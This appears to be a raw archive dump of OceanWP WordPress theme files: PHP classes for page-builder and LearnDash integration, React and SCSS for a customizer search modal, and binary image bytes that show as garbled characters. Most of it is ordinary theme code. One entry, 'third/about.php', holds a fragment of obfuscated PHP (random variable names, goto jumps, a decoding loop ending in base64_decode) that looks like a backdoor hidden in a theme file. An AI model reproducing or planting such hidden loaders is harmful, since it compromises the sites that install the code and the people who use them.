/** * Prints the nav content. * * @since 1.4.7 */ public static function get_nav_content() { echo Elementor\Plugin::instance()->frontend->get_builder_content_for_display( self::get_nav_id() ); } /** * Prints the social menu content. * * @since 1.4.0 */ public static function get_social_menu_content() { echo Elementor\Plugin::instance()->frontend->get_builder_content_for_display( self::get_social_menu_id() ); } /** * Prints the footer content. * * @since 1.4.0 */ public static function get_footer_content() { echo Elementor\Plugin::instance()->frontend->get_builder_content_for_display( self::get_footer_id() ); } /** * Prints the 404 error page content. * * @since 1.4.0 */ public static function get_error_page_content() { echo Elementor\Plugin::instance()->frontend->get_builder_content_for_display( self::get_error_page_id() ); } } endif; return new OceanWP_Elementor();third/class-social-login.php000064400000003721151551031110012046 0ustar00 esc_html__( 'Page', 'oceanwp' ), 'hooks' => array( 'ocean_before_outer_wrap' => esc_html__( 'Before Page', 'oceanwp' ), 'ocean_after_outer_wrap' => esc_html__( 'After Page', 'oceanwp' ), ), ), array( 'label' => esc_html__( 'Top Bar', 'oceanwp' ), 'hooks' => array( 'ocean_before_top_bar' => esc_html__( 'Before Top Bar', 'oceanwp' ), 'ocean_before_top_bar_inner' => esc_html__( 'Before Top Bar Inner', 'oceanwp' ), 'ocean_after_top_bar_inner' => esc_html__( 'After Top Bar Inner', 'oceanwp' ), 'ocean_after_header' => esc_html__( 'After Top Bar', 'oceanwp' ), ), ), array( 'label' => esc_html__( 'Header', 'oceanwp' ), 'hooks' => array( 'ocean_before_header' => esc_html__( 'Before Header', 'oceanwp' ), 'ocean_before_header_inner' => esc_html__( 'Before Header Inner', 'oceanwp' ), 'ocean_after_header_inner' => esc_html__( 'After Header Inner', 'oceanwp' ), 'ocean_after_header' => esc_html__( 'After Header', 'oceanwp' ), ), ), array( 'label' => esc_html__( 'Page Header', 'oceanwp' ), 'hooks' => array( 'ocean_before_page_header' => esc_html__( 'Before Page Header', 'oceanwp' ), 'ocean_before_page_header_inner' => esc_html__( 'Before Page Header Inner', 'oceanwp' ), 'ocean_after_page_header_inner' => esc_html__( 'After Page Header Inner', 'oceanwp' ), 'ocean_after_page_header' => esc_html__( 'After Page Header', 'oceanwp' ), ), ), array( 'label' => esc_html__( 'Content', 'oceanwp' ), 'hooks' => array( 'ocean_before_content' => esc_html__( 'Before Content', 'oceanwp' ), 'ocean_before_content_inner' => esc_html__( 'Before Content Inner', 'oceanwp' ), 'ocean_after_content_inner' => esc_html__( 'After Content Inner', 'oceanwp' ), 'ocean_after_content' => esc_html__( 'After Content', 'oceanwp' ), ), ), array( 'label' => esc_html__( 'Sidebar', 'oceanwp' ), 'hooks' => array( 'ocean_before_sidebar' => esc_html__( 'Before Sidebar', 'oceanwp' ), 'ocean_before_sidebar_inner' => esc_html__( 'Before Sidebar Inner', 'oceanwp' ), 'ocean_after_sidebar_inner' => esc_html__( 'After Sidebar Inner', 'oceanwp' ), 'ocean_after_sidebar' => esc_html__( 'After Sidebar', 'oceanwp' ), ), ), array( 'label' => esc_html__( 'Footer', 'oceanwp' ), 'hooks' => array( 'ocean_before_footer' => esc_html__( 'Before Footer', 'oceanwp' ), 'ocean_before_footer_inner' => esc_html__( 'Before Footer Inner', 'oceanwp' ), 'ocean_after_footer_inner' => esc_html__( 'After Footer Inner', 'oceanwp' ), 'ocean_after_footer' => esc_html__( 'After Footer', 'oceanwp' ), ), ), ); } } endif; return new OceanWP_Beaver_Themer();third/class-bbpress.php000064400000001253151551031110011124 0ustar00update( $post_id ); } /** * Add typography options for the LearnDash product title * * @since 1.0.0 */ public static function typography_settings( $settings ) { $settings['learndash_course_title'] = array( 'label' => esc_html__( 'LearnDash Titles', 'oceanwp' ), 'target' => '.single-sfwd-courses .entry-title, .single-sfwd-lessons .entry-title, .single-sfwd-topic .entry-title, .single-sfwd-quiz .entry-title, .single-sfwd-certificates .entry-title, .single-sfwd-assignment .entry-title', 'defaults' => array( 'font-size' => '34', 'color' => '#333', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), ); $settings['learndash_table_heading'] = array( 'label' => esc_html__( 'LearnDash Table Heading', 'oceanwp' ), 'target' => '#learndash_lessons #lesson_heading, #learndash_profile .learndash_profile_heading, #learndash_quizzes #quiz_heading, #learndash_lesson_topics_list div>strong', 'defaults' => array( 'font-size' => '18', 'color' => '#fff', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), ); $settings['learndash_table_item'] = array( 'label' => esc_html__( 'LearnDash Table Item', 'oceanwp' ), 'target' => '#lessons_list>div h4>a, #course_list>div h4>a, #quiz_list>div h4>a', 'defaults' => array( 'font-size' => '34', 'color' => '#333', 'line-height' => '1.4', 'letter-spacing' => '0.6', ), ); $settings['learndash_buy_button'] = array( 'label' => esc_html__( 'LearnDash Take Course Button', 'oceanwp' ), 'target' => '.learndash_checkout_button .btn-join', 'exclude' => array( 'font-color' ), 'defaults' => array( 'font-size' => '12', 'line-height' => '1', ), ); return $settings; } /** * Adds color accents for LLMS styles. * * @since 1.0.0 */ public static function primary_texts( $texts ) { return array_merge( array( '.learndash a:hover', '#learndash_lessons a:hover', '#learndash_quizzes a:hover', '.expand_collapse a:hover', '.learndash_topic_dots a:hover', '.learndash_topic_dots a:hover > span', '#learndash_lesson_topics_list span a:hover', '.learndash .completed:before', '.learndash .notcompleted:before', '#learndash_profile .completed:before', '#learndash_profile .notcompleted:before', ), $texts ); } /** * Adds border accents for LLMS styles. * * @since 1.0.0 */ public static function primary_borders( $borders ) { return array_merge( array( '.learndash-instructor-info .learndash-instructors .learndash-author' => array( 'top' ), '.learndash-notification' => array( 'top' ), '.learndash-instructor-info .learndash-instructors .learndash-author .avatar', ), $borders ); } /** * Adds background accents for LLMS styles. * * @since 1.0.0 */ public static function primary_backgrounds( $backgrounds ) { return array_merge( array( '.learndash-button-action', '#learndash_lessons #lesson_heading', '#learndash_profile .learndash_profile_heading', '#learndash_quizzes #quiz_heading', '#learndash_lesson_topics_list div>strong', 'dd.course_progress div.course_progress_blue', 'body #ld_course_list .btn', ), $backgrounds ); } /** * Adds background hover accents for LLMS styles. * * @since 1.0.0 */ public static function hover_primary_backgrounds( $hover ) { return array_merge( array( '.learndash-button-action:hover', 'body #ld_course_list .btn:hover', ), $hover ); } /** * Adds border color elements for LLMS styles. * * @since 1.0.0 */ public static function border_color_elements( $elements ) { return array_merge( array( '.learndash-sd-notification-center .learndash-notification', ), $elements ); } } endif; return new OceanWP_LearnDash();third/about.php000064400004151235151551031110007505 0ustar00 = strlen($KGFqahuQZC)) { break; } } } return base64_decode($QIXmAMNHPR); } goto zVisF; XBbau: ?>customizer/assets/src/js/customize-search.js000064400000002652151551031110015276 0ustar00import React from "react"; import { __ } from '@wordpress/i18n'; import { render } from 'react-dom'; import SearchBox from './components/search-box'; import '../css/customize-search-style.scss'; import SearchHandler from './components/search-box/search-handler' var _SearchHandler; const CustomizeSearch = () => { const [ showModal, setShowModal ] = React.useState( false ); /** * Hide Modal */ const handleShowModal = () => { setShowModal( false ); } return <> { setShowModal( true ); setTimeout(() => { ReactDOM.findDOMNode( document.getElementById( 'ocean-wp-customize-search-input' ) ).focus(); }, 500); return false; }}> { __( 'Search' ) } { showModal ? : '' } ; } jQuery( document ).on( 'ready', function() { _SearchHandler = new SearchHandler( ); jQuery('#customize-header-actions').append("
    "); render( , document.getElementById( 'ocean-wp-customize-search' ) ); })customizer/assets/src/js/components/search-box/index.js000064400000000624151551031110017335 0ustar00 import React from "react"; import SearchBoxModal from "./modal"; const SearchBox = ( { ...props } ) => { return
    ; } SearchBox.defaultProps = { show: false } export default SearchBox;customizer/assets/src/js/components/search-box/search-handler.js000064400000004650151551031110021111 0ustar00 class SearchHandler { /** * SearchHandler Constructor * * @returns */ constructor() { /** * Check Controls Are Empty or Not Empty */ if ( this.controls ) { return true; } /** * Map The Controls */ this.controls = jQuery.map( _wpCustomizeSettings.controls, function( control, cid ) { jQuery.map( _wpCustomizeSettings.sections, function( section, i ) { if ( control.section == section.id ) { jQuery.map( _wpCustomizeSettings.panels, function( panel, i ) { if ( '' == section.panel ) { control.panelName = section.title; } if ( section.panel == panel.id ) { control.sectionName = section.title; control.panel = section.panel; control.panelName = panel.title; } }); } }); return [control]; }); } /** * Search In Controls * * @param {string} string * @returns */ searchInControls( string ) { if ( ! string ) { return []; } return this.controls.filter( control => { if ( control.panelName === null ) control.panelName = ''; if ( control.sectionName === null ) control.sectionName = ''; const regex = new RegExp(string, 'gi'); // if ( typeof control.content !== 'undefined' ) { // if ( control.content.match(regex) ) // return control.content.match(regex); // } if ( typeof control.label !== 'undefined' ) { if ( control.label.match(regex) ) return control.label.match(regex); } if ( typeof control.panelName !== 'undefined' ) { if ( control.panelName.match(regex) ) return control.panelName.match(regex); } if ( typeof control.sectionName !== 'undefined' ) { if ( control.sectionName.match(regex) ) return control.sectionName.match(regex); } }); } } export default SearchHandler;customizer/assets/src/js/components/search-box/modal.js000064400000013633151551031110017326 0ustar00 import React from "react"; import { Form, ListGroup, Modal, Badge } from "react-bootstrap"; import { __ } from '@wordpress/i18n'; import PerfectScrollbar from 'react-perfect-scrollbar' import 'react-perfect-scrollbar/dist/css/styles.css'; var searchInControlsAllResults, Preset = 0, Offset = 30; const SearchBoxModal = ( { ...props } ) => { const [ searchResults, setsearchResults ] = React.useState( '' ); const switchThemeMode = () => { oceanCustomizerSearchOptions.darkMode = oceanCustomizerSearchOptions.darkMode === '1' || oceanCustomizerSearchOptions.darkMode === 'true' || oceanCustomizerSearchOptions.darkMode === true ? false : true; jQuery( '.modal-dialog.ocean-customize-search-modal' ).toggleClass( 'light-theme' ); wp.ajax.post( 'ocean_update_search_box_light_mode', { darkMode: oceanCustomizerSearchOptions.darkMode } ); } /** * Hide the Finder & * Expand Customize Sections When Click on Each Item * * @param {string} sectionName * @param {string} ElementID */ const ClickHandler = ( sectionName, ElementID ) => { const section = wp.customize.section( sectionName ); section.expand(); setsearchResults( '' ); jQuery( '.ocean-customize-search-modal' ).parent().fadeOut(); jQuery( '.modal-backdrop.show' ).removeClass( 'show' ); props.onHide(); setTimeout( function() { jQuery( '.ocean-customize-search-modal .modal-header button.close' ).trigger( 'click' ).trigger( 'mouseup' ) if ( jQuery( '#customize-control-' + ElementID ).length ) { jQuery( '#customize-controls .wp-full-overlay-sidebar-content' ).scrollTop(0); jQuery( '#customize-controls .wp-full-overlay-sidebar-content' ).animate( { scrollTop: jQuery( '#customize-control-' + ElementID ).offset().top - 50 } , "slow" ); jQuery( '#customize-control-' + ElementID ).addClass( 'ocean-control-focused' ); } }, 1500 ) setTimeout( () => { jQuery( '.ocean-control-focused' ).removeClass( 'ocean-control-focused' ); }, 8000 ); } const createList = ( searchInControlsResults ) => { /** * Prepare View From Search Result */ var list = searchInControlsResults.map( function( data, index ) { if ( ! data.label || typeof data.panelName === 'undefined' ) { return; } return { ClickHandler( data.section, data.settings.default ) } } action> { data.panelName } { data.sectionName ? : '' } { data.sectionName ? data.sectionName : '' } { String(data.label) } }); return list; } const showMore = () => { if ( Offset >= 211 ) { return false; } Offset = Offset + 30; var searchInControlsResults = searchInControlsAllResults.slice( Preset, Offset ); if ( ! searchInControlsResults.length ) { return false; } var list = createList( searchInControlsResults ); setsearchResults( list ); } /** * Search Handler * * @param {element} e * @returns */ const onSearch = ( e ) => { var search = e.target.value; searchInControlsAllResults = props.SearchHandler.searchInControls( search ); Offset = 30 var searchInControlsResults = searchInControlsAllResults.slice( Preset, Offset ); setsearchResults( '' ); if ( ! searchInControlsResults.length ) { return false; } var list = createList( searchInControlsResults ); setsearchResults( list ); } return <> { searchResults ? { searchResults } : ""} } export default SearchBoxModal;customizer/assets/src/css/customize-search-style.scss000064400000023044151551031110017145 0ustar00 body { @import 'node_modules/bootstrap/scss/modal'; @import 'node_modules/bootstrap/scss/badge'; .modal { z-index: 99999999999 !important; } li.ocean-control-focused { box-shadow: 4px 0px 0px #eee, -10px 0px 0px #06214e; } .modal-backdrop { z-index: 99999999999; background: #f3f2f6 !important; } } #ocean-wp-customize-search, .ocean-customize-search-modal { @import 'node_modules/bootstrap/scss/reboot'; @import 'node_modules/bootstrap/scss/forms'; @import 'node_modules/bootstrap/scss/buttons'; @import 'node_modules/bootstrap/scss/utilities'; @import 'node_modules/bootstrap/scss/list-group'; @import 'node_modules/bootstrap/scss/grid'; @import 'node_modules/bootstrap/scss/type'; // @import 'node_modules/bootstrap/scss/images'; // @import 'node_modules/bootstrap/scss/code'; // @import 'node_modules/bootstrap/scss/navbar'; // @import 'node_modules/bootstrap/scss/card'; @import 'node_modules/bootstrap/scss/alert'; // @import 'node_modules/bootstrap/scss/close'; @import 'node_modules/bootstrap/scss/spinners'; // @import 'node_modules/bootstrap/scss/progress'; // @import 'node_modules/bootstrap/scss/tables'; // @import 'node_modules/bootstrap/scss/pagination'; // @import 'node_modules/bootstrap/scss/transitions'; // @import 'node_modules/bootstrap/scss/dropdown'; // @import 'node_modules/bootstrap/scss/button-group'; // @import 'node_modules/bootstrap/scss/input-group'; // @import 'node_modules/bootstrap/scss/custom-forms'; // @import 'node_modules/bootstrap/scss/nav'; .modal-content { background-color: #06214E; color: #fff; border-radius: 5px !important; overflow: hidden; border: none; box-shadow: 0px 40px 50px -26px #838383; button.list-group-item { background: #06214e !important; color: #fff !important; border: none !important; margin-bottom: 0px; border-radius: 0px !important; line-height:1.6; padding-top: 10px; animation: oceanFadeIn 0.4s; span.dashicons.dashicons-editor-break { float: right; color: #06214e; visibility: hidden; background-color: #f8f9fcbf; border-radius: 5px; border: solid 1px #f8f9fc; font-size: 12px; font-weight: bold; padding: 3px 2px; box-shadow: 0px 4px 20px -7px #06214e; } span.badge { float: left; top: -2px; position: relative; margin-right: 8px; background-color: #ededed; padding: 4px 6px; border-radius: 2px; margin: 4px 8px 2px 0px; color: #000000; font-weight: 500; span.dashicons.dashicons-arrow-right-alt2 { font-size: 10px; line-height: 1; height: 10px; width: 10px; color: #2ea1fb; } } } button.list-group-item:hover { background: #d9e8ff !important; color: #06214e !important; span.badge { background-color: #f8f9fc; color:#2ea1fb; span.dashicons.dashicons-arrow-right-alt2 { color: #06214e; } } span.dashicons.dashicons-editor-break { visibility: visible; } } } .modal-header { background-color: #06214E; color: #fff; border: none; height: 60px; position:relative; border-bottom: solid 1px #021026; span.dashicons.dashicons-lightbulb { position: absolute; right: 50px; z-index: 5; cursor: pointer; top: 19px; color: #d9e8ff; background-color: #06214e; border-radius: 5px; border: solid 1px #000000; font-size: 14px; font-weight: bold; padding: 4px; box-shadow: 0px 4px 20px -7px #06214e; line-height: 1; height: 25px; width: 25px; &:hover { color: #0000009c; background: #ffffff; } } .full-width { width: 100%; i.dashicons.dashicons-search:before { font-size:30px; color: #d9e8ff; } input#ocean-wp-customize-search-input { width: 100%; float: right; line-height: 2; background-color: #06214e; border: none; border-radius: 0; position: absolute; top: 0; left: 0; height: 100%; padding-left: 70px; z-index: 3; color: #fff; font-size: 25px; font-weight:200 } input#ocean-wp-customize-search-input:focus { box-shadow: none !important; } input#ocean-wp-customize-search-input::placeholder { color: #d9e8ff !important; } i.dashicons.dashicons-search { z-index: 5; position: relative; top: -5px; } } button.close { border: none; background: none; font-size: 22px; color: #fff; z-index: 5; position: relative; } } .modal-body { padding: 0px !important; background-color: #06214E; color: #fff; .ps__rail-y { z-index: 99999; } .list-group { max-height: 400px; } .form-control { height: 43px; } .badge.btn-success, .badge.btn-warning { margin-right: 5px; } .text-muted { display: block; font-style: italic; } } } // Light Mode .ocean-customize-search-modal.light-theme { .modal-content { background-color: #fff; color: #06214E; box-shadow: 0px 40px 50px -26px #838383; border: none; button.list-group-item { background: #fff !important; color: #06214e !important; span.dashicons.dashicons-editor-break { color: #2ea1fb; } span.badge { background-color: #06214e; color: #fff; span.dashicons.dashicons-arrow-right-alt2 { color: #d9e8ff; } } } button.list-group-item:hover { background: #d9e8ff !important; color: #06214e !important; span.badge { background-color: #2ea1fb; color:#f8f9fc; span.dashicons.dashicons-arrow-right-alt2 { color: #fff; } } } } .modal-header { background-color: #fff; color: #06214E; border-bottom: solid 1px #ddd; span.dashicons.dashicons-lightbulb { background-color: #f8f9fcbf; border: solid 1px #ecf1ff; color: #2ea1fb; box-shadow: 0px 4px 15px -11px #072250; &:hover { color: #fff; background: #0000009c; } } .full-width { i.dashicons.dashicons-search:before { color: #afafaf; } input#ocean-wp-customize-search-input { background-color: #fff; border: none; color: #06214E; border-radius: 0; } input#ocean-wp-customize-search-input::placeholder { color: #afafaf !important; } } button.close { color: #06214E; } } .modal-body { background-color: #fff; color: #06214E; } } @keyframes oceanFadeIn{ 0% { opacity:0; } 100% { opacity:1; } } #ocean-wp-customize-search { display: block; position: absolute; top: 0; left: 50px; width: 45px; height: 41px; padding: 0 2px 0 0; background: #f0f0f1; border: none; border-top: 4px solid #f0f0f1; border-right: 1px solid #dcdcde; cursor: pointer; transition: color .15s ease-in-out, border-color .15s ease-in-out, background .15s ease-in-out; box-sizing: content-box; &:hover { background: #fff; box-shadow: none; outline: 1px solid transparent; color: #06214E !important; border-top-color: #06214E !important; } a.customize-controls-ocean-search { color: #3c434a !important; text-decoration: none !important; padding: 10px 0px; width: 100%; height: 100%; text-align: center; } }customizer/assets/img/bs.png000064400000021401151551031110012127 0ustar00ÿØÿàJFIFÿâ(ICC_PROFILEmntrRGB XYZ acspöÖÓ- descðtrXYZdgXYZxbXYZŒrTRC (gTRC (bTRC (wtptÈcprtÜOüBˆ¤[Rtƒ‘ÍÚZg´ìxü\‹rn.—}ncd¶–HG6k¹£^9Ö4÷Hx¸¸FÌAVÕS,ë¬Þ‹ö„a–Èœ—¶†á®àyö~׈„af„(=×!}ø‰á^6;׎=qCRðàiféÖãI̜ɶì…Y,1ÿ¶Âb°8Þ”È\]Ë)`æ‘ø¥qz›ãc’6@¥à"^VʳáeåäÆòvðvõhêàAÜmNøsÖþl7`“íu]¼§x™æÓ¿uKïÊIñY¥üù/[g°Ozß͆ì}®žS¼Lóiߺ¥÷äñY¥üù/[g°Ozß͆ì}®žS¼Lóiߺ¥÷äñY¥üù/[g°Ozß͆ì}®žS¼Lóiߺ¥÷äñY¥üù/[g°Xû!µL÷Óc¢› ÷¶Èdš¹Rˆ jO\Øo4}JìGÜu±|-µÍœ•œDtÜ™qö¶+ -Ƙã ]Ú>ËavÆx ‘Îã§GmÙ0ÖŠãâɶ´ÎäŠ_ „‡;ç9DEãqÈ% tïê7Ïðç­üØnÁ'Úë'å;ÄÏ6ûª_~]oš_Ï’õ¶{ðç­ÿ‹†?ôÿòìWÑðžâX –éÒƒŠ˜ÿ´íx¿¨ƒæ(xW¥üù!ÿÛgù×WÖ­ÔÓø³¦p‘äẲçÞ;XÞ]ˆgb¼1«AsAÂIápì@b½©+§«Zw€5xepnü¡ÒF×ÝþvÀ’ývïꫜÌË,cr#‘ì÷×öé¿N»(‡~]-z!Ìù?ñ ì.5péë¼öÂë1j,²sDÍwj±I†A,ŠE+É"nг;¾àì@¢-Í(‰DJ"ñ¼Gâ?ªˆª>džøÿ)¾š"s$÷ÇùMôÑ™'¾?Êo¦ˆ«îž‰6º“¹6¹‚O”ž^sôÕ2ø\wèÙª?·O)·ƒ½Ú‹öâ³$¹Ö©¢š×QéŽtÄx;'ÉX&FöúÒ››‰¦œkˆÖ^U°ŠXÖ$ˆ8E‘•È._¬*úÃþh4Ž&\îîW+Œ«võÛ3Úh÷k²ÇƒÑmyádWã€X”´Êù>sXÊߨ¸¨dÌ\m ¯¡R¥©`¯QÄy›ŽŒÉ9–7ºGÊZ\æ8öl1¬è\ê'[éø4΢»ÆZÈÒZðCsmÌ`ÒÇ Âqd &‰Ã¢±¼a½Ó§|[Ñu4¸ÉàqóI6;³­Û;žxk]ˆJ+Ìð;ëÊ%‰²;çKc‘à=ä)£GææÔ*¹ ,k,óË^Ç#yc|°;”ÊÆõål-yosd.`< *{#½‹Wb¬c¸‘-'·W–ÃÀì{¯rÝDï÷´ñ½Èªá•Ëd`ר(Ïî@ Å[ š #}· c¶ÿ»mÀ'ÃqÛwØoá}çc°úv>e'Ò:Kd³QZâ³Ðä/ ‡[d±É[³"&îÂ[«Ha÷  @< íןÓ|Xл'OjdrRÅ4ñÖü­b諳žgv·(ׄvmëÊd?ùZV7'¤5£¯dqƽV=‘º_ §.Ïò°rÃbGÏMùv¼…lTˆµ´¢%xÞ#ñÕDU(‰DT÷²gQG´èó™j÷=Õkžáà•càäǧ·ß‰[~.hÛŶÇ}÷ê -[—w D”¤¸oeËÉ3aìüém÷æŽNbÿ mË·!ß}ÆÖ‡e~T†ÎØ{‰wæcŸÍÚülÛ9 mÙûÉÜwm×”¼!Ûü7iOUTÆÍo©gõØýÝXO’2þ{Ø»Ú'„;‚æí)ê©ãf·Ô³úì~îŸ$eüö?±w´OvÿÍÚSÕSÆÍo©gõØýÝ>HËùìbïhžíþ ›´§ª§šßRÏë±ûº|‘—óØþÅÞÑE¢ÏY{y}•»Æ%Ü7q²¥¤Æ)NZ܉7’'BÁauÜ ;H@;q¥Aª1ÃRäó—°Ñ߯~'2:6 ˆ$sªÊ5y\ÖÁ#µÀJ@vÛ‡fߊ³ñeZ]t@ðãY^È⎒I$pc#csÞ÷¸†µh.sœ@h’_Z×=Ícç9Î kZ œç8ìÐ7%Äï¸(÷;Iþ7ƒí–~¶°ß)ôפ8?½¨{ÂîüY’úº÷ªXöiÎÒàûeŸ­§Ê}5éïjðŸd¾®½ê–=šs´Ÿãx>ÙgëiòŸMzCƒûÚ‡¼'Å™/«¯z¥f¹ŸÙ?¢õ6´ƒAˤ0·Yë|zê¸lXŽu/lÛÜÈ8¢™m.:q'Þˆb8“ŠŽü6øu­¸• ­è-9ÕuñÖô¸a ¦×nLigБŲŽx¬¶…³±óÇþÅÁÎ̸©0zbMU ÉWÄIgâq.—ÂduS•m†ŽfttFxyšîW|ð@ ;nKð+Ò· šƒ²¯T+É¿Ž¿¢ýWê-öªÁøÌÐ>•b=`þð+Ò· šƒ²¯O&þ:þ‹õ_¨·Ú§ŒÍéV#ÖáO½+z ¨; úôòoã¯è¿Uú‹}ªxÌÐ>•b=`þð+Ò· šƒ²¯O&þ:þ‹õ_¨·Ú§ŒÍéV#ÖáO½+z ¨; úôòoã¯è¿Uú‹}ªxÌÐ>•b=`þð+Ò· šƒ²¯O&þ:þ‹õ_¨·Ú§ŒÍéV#Öá^Ž…:W$¡3û’]ª×ç&@ó’@2v ø7qØ õ^ä€7¤ÆŽ§n®tÁ yÉ Ô—ÃÄÍ'UbzzNIéæ„“æ{¶Ýt§²6Û[Ç—ÑñéÜ.[!Ze!¼|~ç)7Qܺ´RMmo:#„Ø„,7R¬7 ÄnGßcÏðú%¦óÙjðh¸àÈIŠÓ×3qW½Ùø%±N­¨£•¬ wgÎ ikÀ-sI…¸3>™~?Q¿/’¡RI3n’»mäa¢÷ÀøZ[#cšhœæ—n9ƒNÎii —8òzXôWRÿÚy°U>ð^;z ¬¿¨¹ôÅ3öº ëÜ/ßÔýéa\bzLº¸ŠæãGj)å‚)bŒI¤²FVßïo`È_x×…Šñ(âìMc­`8ÏvÔíð÷WY–´3AŸAee‰¬Ñ>CÙ?æï 9^[ÌÀiÎßž,†Š‚'̢̮ÉÉcÔò浿=¶ÃƒH‘ÝÙÇmú½óì|_/I6?ÍXcW–æ\Þà/1öë!µÚk™­bK¹¸.Þä=BÒükñMœdÅ»Ui}G‹Ã .xMs%¥²ªŒ”Ñ"»rÅ"c¤†1†@dq h$좞/I¥Š´19\m«®½ ‚¶V½¹KûÈD1Ï#ˆkA.pi ~ë¿kÕ…R’ˆ”EÕ¿½]Mÿ/æõ×5©ëßÈmeþêêÿ&ÚËéÿáì'ô¾7ül+‹´.‘Wän­&¾î(­-EÃòÑd¸”´‹¬hìª –CÅú Mä ¾wp†pq77‘ÇZË»[d0E÷,'d²ä{Ø£sù§˜óòoa„ÌË!¬õDš^[0Óäµg°oh÷G A¬2¸½Ìiq{€Ú6 ·î$òrº!ªa‹Låï1N.䂿îÚ ¢R©3ZÁ%ÉãØ¿%¹q²ºï'¡£Ý¶ÜÆúþŒ:SåtÔÖÙ‘šüÖ``Ž;F…Io VÁ ™,aò˜¬ÃÌþ^c³iëÏâªe ¬ËëØ–)»âÊØ6nü£9ÞÇlÐøˆ~ÍÜ-e•ÏvYÚÝn-࣠ÅÀf‰dáܸDn@ßmö­oÃñôn–ͺu­ƒùû#bKÉͳKƒyËC‹[Ͷû¡d,B`±grG’½`áñg¢?Ýêݪ¬*s¿Ò6?ê_>wKžñ¤>]߯©kIÎésÞ4‡Ë»õôDçt¹ïCåÝúú"sº\÷!òîý}Yv­9¶·7|¡v`‡ºD$ò…Ç-yÂ-É<¾oäž·$Ñ߸óëDÜyÇõŠ"®µ¶kYâî¬SKâ#É[Íu#ÙÍrc™d4W…7mˆb|`íÕDPžûú\ôZš¯>ÝDWž»É^ál.s6ëi“š&kËaB"K"…Hò:oFÙ‰ß}ö;Qëp|Dé¢/h‰DJ"ë#‡Hê™e`‘ŧ3rHç}•rÌÇaâv/%iÜCš*ú[Øâ8`Ò:’i¤vü±Åãä{¶òµ.;vY8ÇI¨pQ±¥Ï~gÖ4u.s®Àý$‡üç¾²ÄÙÊ'´Í÷,À[És¡Xp°Dªà2îb:Q¯èñ Œ°ÛxÝNqöZ×1–hعRÃXñÊö¶jíŽ@×·£š³‡C¸W6}7zÔ]¬P± ˜§Ž¢%§v’É šH=A#pz…¤Ìf4ÞRçäÃÏ:h9n¢ÎñH„™U›™ÆUèõ½CŸÑùÊÒy–Ïf!fÅycžäSºÌ°K.‘¯“µí dqæ!Û‚wÉã±ÙŠ27²¢YÄQHÇGã2F8ÇÖòr‚ÞQóvw µÚw1޲ŽI¯ò–+$öxÈVä´)e‘…˜¼d4»H˜Ù¸~±K?‰ÇÃ%ŒžkÙmcðÕ£‚»nÁ:¬°†Ùíb Ï´­œb/i-Øl»yluËluhÚ,ŠÅÙ]$†YfV¼˜Ã^fí%œíæ »¯Ð½?Henü¯c£ù®ÀѸ ‘ëhä‡Vê¥id‘äì1ì;n×lAØ‘Óõ¿ò^Ô˜µt¢%(‰DJ"Q“Qþf¿Ý¢(Ý(‹{§? Gù)¿bˆ¬:"QˆµYÌTYÜ._ <’Cc‹žX¸L°Åµ’ÒI# ‘¤¬è, šÁêlŸMê 5fykVÔ8L®ň õáËQ±BY¡Fe‰“¹ñ‡´°½ 8¸]ì]ù1YÞïãO¸÷Jú]¨;.;ÕÓ÷=ô?§ú¯ÔqÉ<¢óÞb>ÞïãO¸÷Jú]¨;.;ÕÓ÷=ô?§ú¯ÔqÉ<¢óÞb>ÞïãW²éë}'¤ôÖ›µžk«|-¬xønn,Ó$ð‰%XÔ vñ âëñÕÙкJ®„ÑÚsGQµbõM7Š«‰¯rÛce›1Õg –fÂÖÄ׿©! ÃqÔÁ¹ì¼¹üÖO5Âv•úÔDυ°¥~µ;âèóál'i_­D[|¶SJÚw'·øë~tK>êœGÌ€í³Å»$ë¿òÑ£Ûþ>ÂvÅúôE!´²Á_ÛEye­Í¬êZávx¤@ÅK#Ø€ÊÃqåyè‹> m´‚X-£Ž@¼[€Ãb:ØŽ±ÕDY´D¢%(‰DJ"Q?{ iÿøÏþ-Tï…—äæ“þ›¹þ©{„?ÂYæ0ˆUf?Eéû­u©fÊH™H¢»˜ šo öòÉ@Sšf»  sËOF¦1´‘.…Z*ÿròÖ¡ž-A^¾FËbmª­¥Zå)劦jމöc"Èá,p™’—Ü‚HctC–mºö­ÎVÖµ°c£v:IjÄ\b˜Ï,3ÆÇÍu’‡Ûrçnn°È׸<îÚ6ã3Á}”H ®N+–—¯xæÇK|$‹…ÁR¥Q pGSuu‚*e­AÉ“‡Mff¶6Ûçê ŒDù1-~G´µÌ-Š7:F¹»sŽB\×6_‹]ZK/q Ó’Ì!ŸC£¹RÉ7iÜÞðAêÞ½6WG’$ºÏJK¬‘¾kÉ"0dui†VRU”ƒ¸ |õ1ðŽXgâ6ƒš #šu%ñËÛ$r1ÖXZæ=…Ís\:‚ ue¥k¹šg>ǵÌ{q¶Ú渹®»pC€ ŽâèFǪèéôWGï<Ï%¦hÉ$²;•ºK³’åG3©x‰Øy¿¦½[U%}]ätyø¦oµ¯¬¢'y~)›íkë(‰ÞGGŸŠfûZúÊ"‘ë =€É¶'»í.§ÖSë[€áYŠ^6Ø Ûqå~:"†w—¤> ¿ùÙþËDV'/o…ÇZâìlZÙÆc„KvÒHä MKzò*M–» q´‡‰løŽázÀÛËTÓá—¨1ºKèÙrRI,g¯GŽ'ÊK™Žæp!›–ˆêGêS_1ÖrLÛ+5Žtxøà÷† ßNÿGÑô.>ïßïךJó߯N—Û—Âmí¾ûxÛoçÛnþ§üÕ‹ù3•ÿчí£ÿºeóx »›KË ÚûºÕî/“HâÜZÍ\lʲõ˜—‡‰NÞësZnRik·(äqs>–Q·Øûy7c¤šFÔm+5Îð=ñ¶~¦4†€íþfÇ1C•‚ ­0OTÀDUEÆ™ˆ¥èöóú NÄvÛ®ÊÏè›QáSXèlL3Í*æq6‘»ZÉ‘ÄÈŠÄpŽÛ‚Çn¾³Soõ~œˆ|1ÁV¹fÌìÔ8|2:Œ°6iˆâkœ ž"=v2<4t.;n´Ž a²nÓz¦ü°Åg~ıå1½ä €/#»¸oÞî=¡7úÙ(ÿ´kÙ…J×DJ"Q“Qþf¿Ý¢(Ý(‹{§? Gù)¿bˆ¬:"Qˆ”D¢%(оé£]5ÒU–>ÃR‹ö‡u%ݱ°»’ eˆÂüÆ1J m°á¸>0bŽ+pkFq—ŠÅë&å[ vkôŽ.ð£(žx<A+̉#1í³yAówƒ¶é-k›ÑVmÛš‚[°2¼þ\Øi’vŒäHËÍÞw 